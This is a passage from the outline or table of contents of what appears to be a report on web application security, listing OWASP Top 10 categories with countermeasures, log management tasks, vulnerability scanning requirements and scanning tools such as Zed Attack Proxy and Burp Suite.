Countermeasures and detection

3 - Sensitive Data Exposure (SDE)

Countermeasures and detection

4 - XML External Entities (XXE)

Countermeasures and detection

5 - Broken Access Control (BAC)

Countermeasures and detection

6 - Security Misconfiguration (SM)

Countermeasures and detection

7 - Cross-Site Scripting (XSS)

Countermeasures and detection

8 - Insecure Deserialization (ID)

Countermeasures and detection

9 - Using Components with Known Vulnerabilities (UCwKV)

Countermeasures and detection

10 - Insufficient Logging and Monitoring (IL&M)

Countermeasures and detection

Table 2.1: Log States

• Perform analysis of log data.

• Initiate appropriate responses to identified events.

• Manage the long-term storage of log data.

3.1 Information Gathering

3.2 Vulnerability Testing

Figure 3.1: Risk Severity

3.3 Risk Assessment

4.1 Methods of Analysis

4.2 Vulnerability scanning requirements

• Enable all Non-destructive Plug-ins

• Full System Boundary Scanning

• Scanner Signatures Up to Date

• Provide Summary of Scanning

• POA&M All Findings

Experienced Penetration Testers

4.3 Existing Tools

Zed Attack Proxy

Burp Suite Community Edition

4.4 Related Works: Tools being tested against special environments

4.5 Existing Methods